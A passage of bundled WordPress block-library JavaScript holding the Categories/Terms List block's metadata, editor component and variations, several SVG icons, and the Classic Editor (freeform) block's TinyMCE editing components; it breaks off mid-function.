6778const categories_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/categories","title":"Terms List","category":"widgets","description":"Display a list of all terms of a given taxonomy.","keywords":["categories"],"textdomain":"default","attributes":{"taxonomy":{"type":"string","default":"category"},"displayAsDropdown":{"type":"boolean","default":false},"showHierarchy":{"type":"boolean","default":false},"showPostCounts":{"type":"boolean","default":false},"showOnlyTopLevel":{"type":"boolean","default":false},"showEmpty":{"type":"boolean","default":false},"label":{"type":"string","role":"content"},"showLabel":{"type":"boolean","default":true}},"usesContext":["enhancedPagination"],"supports":{"align":true,"html":false,"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"editorStyle":"wp-block-categories-editor","style":"wp-block-categories"}');
6779;// ./node_modules/@wordpress/icons/build-module/library/pin.js
6780
6781
6782var pin_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m21.5 9.1-6.6-6.6-4.2 5.6c-1.2-.1-2.4.1-3.6.7-.1 0-.1.1-.2.1-.5.3-.9.6-1.2.9l3.7 3.7-5.7 5.7v1.1h1.1l5.7-5.7 3.7 3.7c.4-.4.7-.8.9-1.2.1-.1.1-.2.2-.3.6-1.1.8-2.4.6-3.6l5.6-4.1zm-7.3 3.5.1.9c.1.9 0 1.8-.4 2.6l-6-6c.8-.4 1.7-.5 2.6-.4l.9.1L15 4.9 19.1 9l-4.9 3.6z" }) });
6783
6784
6785;// ./node_modules/@wordpress/block-library/build-module/categories/edit.js
6786
6787
6788
6789
6790
6791
6792
6793
6794
6795
6796
6797
6798function CategoriesEdit({
6799 attributes: {
6800 displayAsDropdown,
6801 showHierarchy,
6802 showPostCounts,
6803 showOnlyTopLevel,
6804 showEmpty,
6805 label,
6806 showLabel,
6807 taxonomy: taxonomySlug
6808 },
6809 setAttributes,
6810 className,
6811 clientId
6812}) {
6813 const selectId = (0,external_wp_compose_namespaceObject.useInstanceId)(CategoriesEdit, "blocks-category-select");
6814 const { records: allTaxonomies, isResolvingTaxonomies } = (0,external_wp_coreData_namespaceObject.useEntityRecords)(
6815 "root",
6816 "taxonomy",
6817 { per_page: -1 }
6818 );
6819 const taxonomies = allTaxonomies?.filter((t) => t.visibility.public);
6820 const taxonomy = taxonomies?.find((t) => t.slug === taxonomySlug);
6821 const isHierarchicalTaxonomy = !isResolvingTaxonomies && taxonomy?.hierarchical;
6822 const query = { per_page: -1, hide_empty: !showEmpty, context: "view" };
6823 if (isHierarchicalTaxonomy && showOnlyTopLevel) {
6824 query.parent = 0;
6825 }
6826 const { records: categories, isResolving } = (0,external_wp_coreData_namespaceObject.useEntityRecords)(
6827 "taxonomy",
6828 taxonomySlug,
6829 query
6830 );
6831 const { createWarningNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
6832 const showRedirectionPreventedNotice = (event) => {
6833 event.preventDefault();
6834 createWarningNotice((0,external_wp_i18n_namespaceObject.__)("Links are disabled in the editor."), {
6835 id: `block-library/core/categories/redirection-prevented/${clientId}`,
6836 type: "snackbar"
6837 });
6838 };
6839 const getCategoriesList = (parentId) => {
6840 if (!categories?.length) {
6841 return [];
6842 }
6843 if (parentId === null) {
6844 return categories;
6845 }
6846 return categories.filter(({ parent }) => parent === parentId);
6847 };
6848 const toggleAttribute = (attributeName) => (newValue) => setAttributes({ [attributeName]: newValue });
6849 const renderCategoryName = (name) => !name ? (0,external_wp_i18n_namespaceObject.__)("(Untitled)") : (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(name).trim();
6850 const renderCategoryList = () => {
6851 const parentId = isHierarchicalTaxonomy && showHierarchy ? 0 : null;
6852 const categoriesList = getCategoriesList(parentId);
6853 return categoriesList.map(
6854 (category) => renderCategoryListItem(category)
6855 );
6856 };
6857 const renderCategoryListItem = (category) => {
6858 const childCategories = getCategoriesList(category.id);
6859 const { id, link, count, name } = category;
6860 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { className: `cat-item cat-item-${id}`, children: [
6861 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href: link, onClick: showRedirectionPreventedNotice, children: renderCategoryName(name) }),
6862 showPostCounts && ` (${count})`,
6863 isHierarchicalTaxonomy && showHierarchy && !!childCategories.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { className: "children", children: childCategories.map(
6864 (childCategory) => renderCategoryListItem(childCategory)
6865 ) })
6866 ] }, id);
6867 };
6868 const renderCategoryDropdown = () => {
6869 const parentId = isHierarchicalTaxonomy && showHierarchy ? 0 : null;
6870 const categoriesList = getCategoriesList(parentId);
6871 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
6872 showLabel ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6873 external_wp_blockEditor_namespaceObject.RichText,
6874 {
6875 className: "wp-block-categories__label",
6876 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Label text"),
6877 placeholder: taxonomy?.name,
6878 withoutInteractiveFormatting: true,
6879 value: label,
6880 onChange: (html) => setAttributes({ label: html })
6881 }
6882 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { as: "label", htmlFor: selectId, children: label ? label : taxonomy?.name }),
6883 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("select", { id: selectId, children: [
6884 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("option", { children: (0,external_wp_i18n_namespaceObject.sprintf)(
6885 /* translators: %s: taxonomy's singular name */
6886 (0,external_wp_i18n_namespaceObject.__)("Select %s"),
6887 taxonomy?.labels?.singular_name
6888 ) }),
6889 categoriesList.map(
6890 (category) => renderCategoryDropdownItem(category, 0)
6891 )
6892 ] })
6893 ] });
6894 };
6895 const renderCategoryDropdownItem = (category, level) => {
6896 const { id, count, name } = category;
6897 const childCategories = getCategoriesList(id);
6898 return [
6899 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("option", { className: `level-${level}`, children: [
6900 Array.from({ length: level * 3 }).map(() => "\xA0"),
6901 renderCategoryName(name),
6902 showPostCounts && ` (${count})`
6903 ] }, id),
6904 isHierarchicalTaxonomy && showHierarchy && !!childCategories.length && childCategories.map(
6905 (childCategory) => renderCategoryDropdownItem(childCategory, level + 1)
6906 )
6907 ];
6908 };
6909 const TagName = !!categories?.length && !displayAsDropdown && !isResolving ? "ul" : "div";
6910 const classes = dist_clsx(className, {
6911 "wp-block-categories-list": !!categories?.length && !displayAsDropdown && !isResolving,
6912 "wp-block-categories-dropdown": !!categories?.length && displayAsDropdown && !isResolving
6913 });
6914 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
6915 className: classes
6916 });
6917 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
6918 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(TagName, { ...blockProps, children: [
6919 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
6920 external_wp_components_namespaceObject.__experimentalToolsPanel,
6921 {
6922 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
6923 resetAll: () => {
6924 setAttributes({
6925 taxonomy: "category",
6926 displayAsDropdown: false,
6927 showHierarchy: false,
6928 showPostCounts: false,
6929 showOnlyTopLevel: false,
6930 showEmpty: false,
6931 showLabel: true
6932 });
6933 },
6934 dropdownMenuProps,
6935 children: [
6936 Array.isArray(taxonomies) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6937 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
6938 {
6939 hasValue: () => {
6940 return taxonomySlug !== "category";
6941 },
6942 label: (0,external_wp_i18n_namespaceObject.__)("Taxonomy"),
6943 onDeselect: () => {
6944 setAttributes({ taxonomy: "category" });
6945 },
6946 isShownByDefault: true,
6947 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6948 external_wp_components_namespaceObject.SelectControl,
6949 {
6950 __nextHasNoMarginBottom: true,
6951 __next40pxDefaultSize: true,
6952 label: (0,external_wp_i18n_namespaceObject.__)("Taxonomy"),
6953 options: taxonomies.map((t) => ({
6954 label: t.name,
6955 value: t.slug
6956 })),
6957 value: taxonomySlug,
6958 onChange: (selectedTaxonomy) => setAttributes({
6959 taxonomy: selectedTaxonomy
6960 })
6961 }
6962 )
6963 }
6964 ),
6965 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6966 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
6967 {
6968 hasValue: () => !!displayAsDropdown,
6969 label: (0,external_wp_i18n_namespaceObject.__)("Display as dropdown"),
6970 onDeselect: () => setAttributes({ displayAsDropdown: false }),
6971 isShownByDefault: true,
6972 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6973 external_wp_components_namespaceObject.ToggleControl,
6974 {
6975 __nextHasNoMarginBottom: true,
6976 label: (0,external_wp_i18n_namespaceObject.__)("Display as dropdown"),
6977 checked: displayAsDropdown,
6978 onChange: toggleAttribute("displayAsDropdown")
6979 }
6980 )
6981 }
6982 ),
6983 displayAsDropdown && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6984 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
6985 {
6986 hasValue: () => !showLabel,
6987 label: (0,external_wp_i18n_namespaceObject.__)("Show label"),
6988 onDeselect: () => setAttributes({ showLabel: true }),
6989 isShownByDefault: true,
6990 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
6991 external_wp_components_namespaceObject.ToggleControl,
6992 {
6993 __nextHasNoMarginBottom: true,
6994 className: "wp-block-categories__indentation",
6995 label: (0,external_wp_i18n_namespaceObject.__)("Show label"),
6996 checked: showLabel,
6997 onChange: toggleAttribute("showLabel")
6998 }
6999 )
7000 }
7001 ),
7002 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7003 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
7004 {
7005 hasValue: () => !!showPostCounts,
7006 label: (0,external_wp_i18n_namespaceObject.__)("Show post counts"),
7007 onDeselect: () => setAttributes({ showPostCounts: false }),
7008 isShownByDefault: true,
7009 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7010 external_wp_components_namespaceObject.ToggleControl,
7011 {
7012 __nextHasNoMarginBottom: true,
7013 label: (0,external_wp_i18n_namespaceObject.__)("Show post counts"),
7014 checked: showPostCounts,
7015 onChange: toggleAttribute("showPostCounts")
7016 }
7017 )
7018 }
7019 ),
7020 isHierarchicalTaxonomy && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7021 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
7022 {
7023 hasValue: () => !!showOnlyTopLevel,
7024 label: (0,external_wp_i18n_namespaceObject.__)("Show only top level terms"),
7025 onDeselect: () => setAttributes({ showOnlyTopLevel: false }),
7026 isShownByDefault: true,
7027 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7028 external_wp_components_namespaceObject.ToggleControl,
7029 {
7030 __nextHasNoMarginBottom: true,
7031 label: (0,external_wp_i18n_namespaceObject.__)("Show only top level terms"),
7032 checked: showOnlyTopLevel,
7033 onChange: toggleAttribute(
7034 "showOnlyTopLevel"
7035 )
7036 }
7037 )
7038 }
7039 ),
7040 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7041 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
7042 {
7043 hasValue: () => !!showEmpty,
7044 label: (0,external_wp_i18n_namespaceObject.__)("Show empty terms"),
7045 onDeselect: () => setAttributes({ showEmpty: false }),
7046 isShownByDefault: true,
7047 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7048 external_wp_components_namespaceObject.ToggleControl,
7049 {
7050 __nextHasNoMarginBottom: true,
7051 label: (0,external_wp_i18n_namespaceObject.__)("Show empty terms"),
7052 checked: showEmpty,
7053 onChange: toggleAttribute("showEmpty")
7054 }
7055 )
7056 }
7057 ),
7058 isHierarchicalTaxonomy && !showOnlyTopLevel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7059 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
7060 {
7061 hasValue: () => !!showHierarchy,
7062 label: (0,external_wp_i18n_namespaceObject.__)("Show hierarchy"),
7063 onDeselect: () => setAttributes({ showHierarchy: false }),
7064 isShownByDefault: true,
7065 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7066 external_wp_components_namespaceObject.ToggleControl,
7067 {
7068 __nextHasNoMarginBottom: true,
7069 label: (0,external_wp_i18n_namespaceObject.__)("Show hierarchy"),
7070 checked: showHierarchy,
7071 onChange: toggleAttribute("showHierarchy")
7072 }
7073 )
7074 }
7075 )
7076 ]
7077 }
7078 ) }),
7079 isResolving && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { icon: pin_default, label: (0,external_wp_i18n_namespaceObject.__)("Terms"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }),
7080 !isResolving && categories?.length === 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: taxonomy.labels.no_terms }),
7081 !isResolving && categories?.length > 0 && (displayAsDropdown ? renderCategoryDropdown() : renderCategoryList())
7082 ] });
7083}
7084
7085
7086;// ./node_modules/@wordpress/block-library/build-module/categories/variations.js
7087
7088
7089const variations = [
7090 {
7091 name: "terms",
7092 title: (0,external_wp_i18n_namespaceObject.__)("Terms List"),
7093 icon: category_default,
7094 attributes: {
7095 // We need to set an attribute here that will be set when inserting the block.
7096 // We cannot leave this empty, as that would be interpreted as the default value,
7097 // which is `category` -- for which we're defining a distinct variation below,
7098 // for backwards compatibility reasons.
7099 // The logical fallback is thus the only other built-in and public taxonomy: Tags.
7100 taxonomy: "post_tag"
7101 },
7102 isActive: (blockAttributes) => (
7103 // This variation is used for any taxonomy other than `category`.
7104 blockAttributes.taxonomy !== "category"
7105 )
7106 },
7107 {
7108 name: "categories",
7109 title: (0,external_wp_i18n_namespaceObject.__)("Categories List"),
7110 description: (0,external_wp_i18n_namespaceObject.__)("Display a list of all categories."),
7111 icon: category_default,
7112 attributes: {
7113 taxonomy: "category"
7114 },
7115 isActive: ["taxonomy"],
7116 // The following is needed to prevent "Terms List" from showing up twice in the inserter
7117 // (once for the block, once for the variation). Fortunately, it does not collide with
7118 // `categories` being the default value of the `taxonomy` attribute.
7119 isDefault: true
7120 }
7121];
7122var variations_default = variations;
7123
7124
7125;// ./node_modules/@wordpress/block-library/build-module/categories/index.js
7126
7127
7128
7129
7130
7131const { name: categories_name } = categories_block_namespaceObject;
7132const categories_settings = {
7133 icon: category_default,
7134 example: {},
7135 edit: CategoriesEdit,
7136 variations: variations_default
7137};
7138const categories_init = () => initBlock({ name: categories_name, metadata: categories_block_namespaceObject, settings: categories_settings });
7139
7140
7141;// ./node_modules/@wordpress/icons/build-module/library/classic.js
7142
7143
7144var classic_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20 6H4c-1.1 0-2 .9-2 2v9c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H4c-.3 0-.5-.2-.5-.5V8c0-.3.2-.5.5-.5h16c.3 0 .5.2.5.5v9zM10 10H8v2h2v-2zm-5 2h2v-2H5v2zm8-2h-2v2h2v-2zm-5 6h8v-2H8v2zm6-4h2v-2h-2v2zm3 0h2v-2h-2v2zm0 4h2v-2h-2v2zM5 16h2v-2H5v2z" }) });
7145
7146
7147;// ./node_modules/@wordpress/block-library/build-module/freeform/convert-to-blocks-button.js
7148
7149
7150
7151
7152
7153
7154const ConvertToBlocksButton = ({ clientId }) => {
7155 const { replaceBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
7156 const block = (0,external_wp_data_namespaceObject.useSelect)(
7157 (select) => {
7158 return select(external_wp_blockEditor_namespaceObject.store).getBlock(clientId);
7159 },
7160 [clientId]
7161 );
7162 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7163 external_wp_components_namespaceObject.ToolbarButton,
7164 {
7165 onClick: () => replaceBlocks(
7166 block.clientId,
7167 (0,external_wp_blocks_namespaceObject.rawHandler)({ HTML: (0,external_wp_blocks_namespaceObject.serialize)(block) })
7168 ),
7169 children: (0,external_wp_i18n_namespaceObject.__)("Convert to blocks")
7170 }
7171 );
7172};
7173var convert_to_blocks_button_default = ConvertToBlocksButton;
7174
7175
7176;// ./node_modules/@wordpress/icons/build-module/library/fullscreen.js
7177
7178
7179var fullscreen_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6 4a2 2 0 0 0-2 2v3h1.5V6a.5.5 0 0 1 .5-.5h3V4H6Zm3 14.5H6a.5.5 0 0 1-.5-.5v-3H4v3a2 2 0 0 0 2 2h3v-1.5Zm6 1.5v-1.5h3a.5.5 0 0 0 .5-.5v-3H20v3a2 2 0 0 1-2 2h-3Zm3-16a2 2 0 0 1 2 2v3h-1.5V6a.5.5 0 0 0-.5-.5h-3V4h3Z" }) });
7180
7181
7182;// ./node_modules/@wordpress/block-library/build-module/freeform/modal.js
7183
7184
7185
7186
7187
7188
7189
7190
7191function ModalAuxiliaryActions({ onClick, isModalFullScreen }) {
7192 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("small", "<");
7193 if (isMobileViewport) {
7194 return null;
7195 }
7196 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7197 external_wp_components_namespaceObject.Button,
7198 {
7199 size: "compact",
7200 onClick,
7201 icon: fullscreen_default,
7202 isPressed: isModalFullScreen,
7203 label: isModalFullScreen ? (0,external_wp_i18n_namespaceObject.__)("Exit fullscreen") : (0,external_wp_i18n_namespaceObject.__)("Enter fullscreen")
7204 }
7205 );
7206}
7207function ClassicEdit(props) {
7208 const styles = (0,external_wp_data_namespaceObject.useSelect)(
7209 (select) => select(external_wp_blockEditor_namespaceObject.store).getSettings().styles
7210 );
7211 (0,external_wp_element_namespaceObject.useEffect)(() => {
7212 const { baseURL, suffix, settings } = window.wpEditorL10n.tinymce;
7213 window.tinymce.EditorManager.overrideDefaults({
7214 base_url: baseURL,
7215 suffix
7216 });
7217 window.wp.oldEditor.initialize(props.id, {
7218 tinymce: {
7219 ...settings,
7220 setup(editor) {
7221 editor.on("init", () => {
7222 const doc = editor.getDoc();
7223 styles.forEach(({ css }) => {
7224 const styleEl = doc.createElement("style");
7225 styleEl.innerHTML = css;
7226 doc.head.appendChild(styleEl);
7227 });
7228 });
7229 }
7230 }
7231 });
7232 return () => {
7233 window.wp.oldEditor.remove(props.id);
7234 };
7235 }, []);
7236 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("textarea", { ...props });
7237}
7238function ModalEdit(props) {
7239 const {
7240 clientId,
7241 attributes: { content },
7242 setAttributes,
7243 onReplace
7244 } = props;
7245 const [isOpen, setOpen] = (0,external_wp_element_namespaceObject.useState)(false);
7246 const [isModalFullScreen, setIsModalFullScreen] = (0,external_wp_element_namespaceObject.useState)(false);
7247 const id = `editor-${clientId}`;
7248 const onClose = () => content ? setOpen(false) : onReplace([]);
7249 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
7250 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarButton, { onClick: () => setOpen(true), children: (0,external_wp_i18n_namespaceObject.__)("Edit") }) }) }),
7251 content && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: content }),
7252 (isOpen || !content) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
7253 external_wp_components_namespaceObject.Modal,
7254 {
7255 title: (0,external_wp_i18n_namespaceObject.__)("Classic Editor"),
7256 onRequestClose: onClose,
7257 shouldCloseOnClickOutside: false,
7258 overlayClassName: "block-editor-freeform-modal",
7259 isFullScreen: isModalFullScreen,
7260 className: "block-editor-freeform-modal__content",
7261 headerActions: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7262 ModalAuxiliaryActions,
7263 {
7264 onClick: () => setIsModalFullScreen(!isModalFullScreen),
7265 isModalFullScreen
7266 }
7267 ),
7268 children: [
7269 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ClassicEdit, { id, defaultValue: content }),
7270 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
7271 external_wp_components_namespaceObject.Flex,
7272 {
7273 className: "block-editor-freeform-modal__actions",
7274 justify: "flex-end",
7275 expanded: false,
7276 children: [
7277 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7278 external_wp_components_namespaceObject.Button,
7279 {
7280 __next40pxDefaultSize: true,
7281 variant: "tertiary",
7282 onClick: onClose,
7283 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
7284 }
7285 ) }),
7286 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
7287 external_wp_components_namespaceObject.Button,
7288 {
7289 __next40pxDefaultSize: true,
7290 variant: "primary",
7291 onClick: () => {
7292 setAttributes({
7293 content: window.wp.oldEditor.getContent(
7294 id
7295 )
7296 });
7297 setOpen(false);
7298 },
7299 children: (0,external_wp_i18n_namespaceObject.__)("Save")
7300 }
7301 ) })
7302 ]
7303 }
7304 )
7305 ]
7306 }
7307 )
7308 ] });
7309}
7310
7311
7312;// ./node_modules/@wordpress/block-library/build-module/freeform/edit.js
7313
7314
7315
7316
7317
7318
7319
7320
7321
7322
7323const { wp } = window;
7324function isTmceEmpty(editor) {
7325 const body = editor.getBody();
7326 if (body.childNodes.length > 1) {
7327 return false;
7328 } else if (body.childNodes.length === 0) {
7329 return true;
7330 }
7331 if (body.childNodes[0].childNodes.length > 1) {
7332 return false;
7333 }
7334 return /^\n?$/.test(body.innerText || body.textContent);
7335}
7336function FreeformEdit(props) {
7337 const { clientId } = props;
7338 const canRemove = (0,external_wp_data_namespaceObject.useSelect)(
7339 (select) => select(external_wp_blockEditor_namespaceObject.store).canRemoveBlock(clientId),
7340 [clientId]
7341 );
7342 const [isIframed, setIsIframed] = (0,external_wp_element_namespaceObject.useState)(false);
7343 const ref = (0,external_wp_compose_namespaceObject.useRefEffect)((element) => {
7344 setIsIframed(element.ownerDocument !== document);
7345 }, []);
7346 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
7347 canRemove && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(convert_to_blocks_button_default, { clientId }) }) }),
7348 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)({ ref }), children: isIframed ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ModalEdit, { ...props }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(edit_ClassicEdit, { ...props }) })
7349 ] });
7350}
7351function edit_ClassicEdit({
7352 clientId,
7353 attributes: { content },
7354 setAttributes,
7355 onReplace
7356}) {
7357 const { getMultiSelectedBlockClientIds } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
7358 const didMountRef = (0,external_wp_element_namespaceObject.useRef)(false);
7359 (0,external_wp_element_namespaceObject.useEffect)(() => {
7360 if (!didMountRef.current) {
7361 return;
7362 }
7363 const editor = window.tinymce.get(`editor-${clientId}`);
7364 if (!editor) {
7365 return;
7366 }
7367 const currentContent = editor.getContent();
7368 if (currentContent !== content) {
7369 editor.setContent(content || "");
7370 }
7371 }, [clientId, content]);
7372 (0,external_wp_element_namespaceObject.useEffect)(() => {
7373 const { baseURL, suffix } = window.wpEditorL10n.tinymce;
7374 didMountRef.current = true;
7375 window.tinymce.EditorManager.overrideDefaults({
7376 base_url: baseURL,
7377 suffix
7378 });
7379 function onSetup(editor) {
7380 let bookmark;
7381 if (content) {
7382 editor.on("loadContent", () => editor.setContent(content));
7383 }
7384 editor.on("blur", () => {
7385 bookmark = editor.selection.getBookmark(2, true);
7386 const scrollContainer = document.querySelector(
7387 ".interface-interface-skeleton__content"
7388 );
7389 const scrollPosition = scrollContainer.scrollTop;
7390 if (!getMultiSelectedBlockClientIds()?.length) {
7391 setAttributes({
7392 content: editor.getContent()
7393 });
7394 }
7395 editor.once("focus", () => {
7396 if (bookmark) {
7397 editor.selection.moveToBookmark(bookmark);
7398 if (scrollContainer.scrollTop !== scrollPosition) {
7399 scrollContainer.scrollTop = scrollPosition;
7400 }
7401 }
7402 });
7403 return false;
7404 });
7405 editor.on("mousedown touchstart", () => {
7406 bookmark = null;
7407 });
7408 const debouncedOnChange = (0,external_wp_compose_namespaceObject.debounce)(() => {
7409 const value = editor.getContent();
7410 if (value !== editor._lastChange) {
7411 editor._lastChange = value;
7412 setAttributes({
7413 content: value
7414 });
7415 }
7416 }, 250);
7417 editor.on("Paste Change input Undo Redo", debouncedOnChange);
7418 editor.on("remove", debouncedOnChange.cancel);
7419 editor.on("keydown", (event) => {
7420 if (external_wp_keycodes_namespaceObject.isKeyboardEvent.primary(event, "z")) {
7421 event.stopPropagation();
7422 }
7423 if ((event.keyCode === external_wp_keycodes_namespaceObject.BACKSPACE || event.keyCode === external_wp_keycodes_namespaceObject.DELETE) && isTmceEmpty(editor)) {
7424 onReplace([]);
7425 event.preventDefault();
7426 event.stopImmediatePropagation();
7427 }
7428 const { altKey } = event;
7429 if (altKey && event.keyCode === external_wp_keycodes_namespaceObject.F10) {
7430 event.stopPropagation();
7431 }
7432 });
7433 editor.on("paste", (event) => {
7434 event.stopPropagation();
7435 });
7436 editor.on("init", () => {
7437 const rootNode = editor.getBody();
7438 if (rootNode.ownerDocument.activeElement === rootNode) {
7439 rootNode.blur();
7440 editor.focus();
7441 }
7442 });
7443 }
7444 function initialize() {
7445 const { settings } = window.wpEditorL10n.tinymce;
7446 wp.oldEditor.initialize(`editor-${clientId}`, {
7447 tinymce: {
7448 ...settings,
7449 inline: true,
7450 content_css: false,
7451 fixed_toolbar_container: `#toolbar-${clientId}`,
7452 setup: onSetup
7453 }
7454 });
7455 }
7456 function onReadyStateChange() {
7457 if (document.readyState === "complete") {
7458 initialize();
7459 }
7460 }
7461 if (document.readyState === "complete") {
7462 initialize();
7463 } else {
7464 document.addEventListener("readystatechange", onReadyStateChange);
7465 }
7466 return () => {
7467 document.removeEventListener(
7468 "readystatechange",
7469 onReadyStateChange
7470 );
7471 wp.oldEditor.remove(`editor-${clientId}`);
7472 didMountRef.current = false;
7473 };
7474 }, []);
7475 function focus() {
7476 const editor = window.tinymce.get(`editor-${clientId}`);
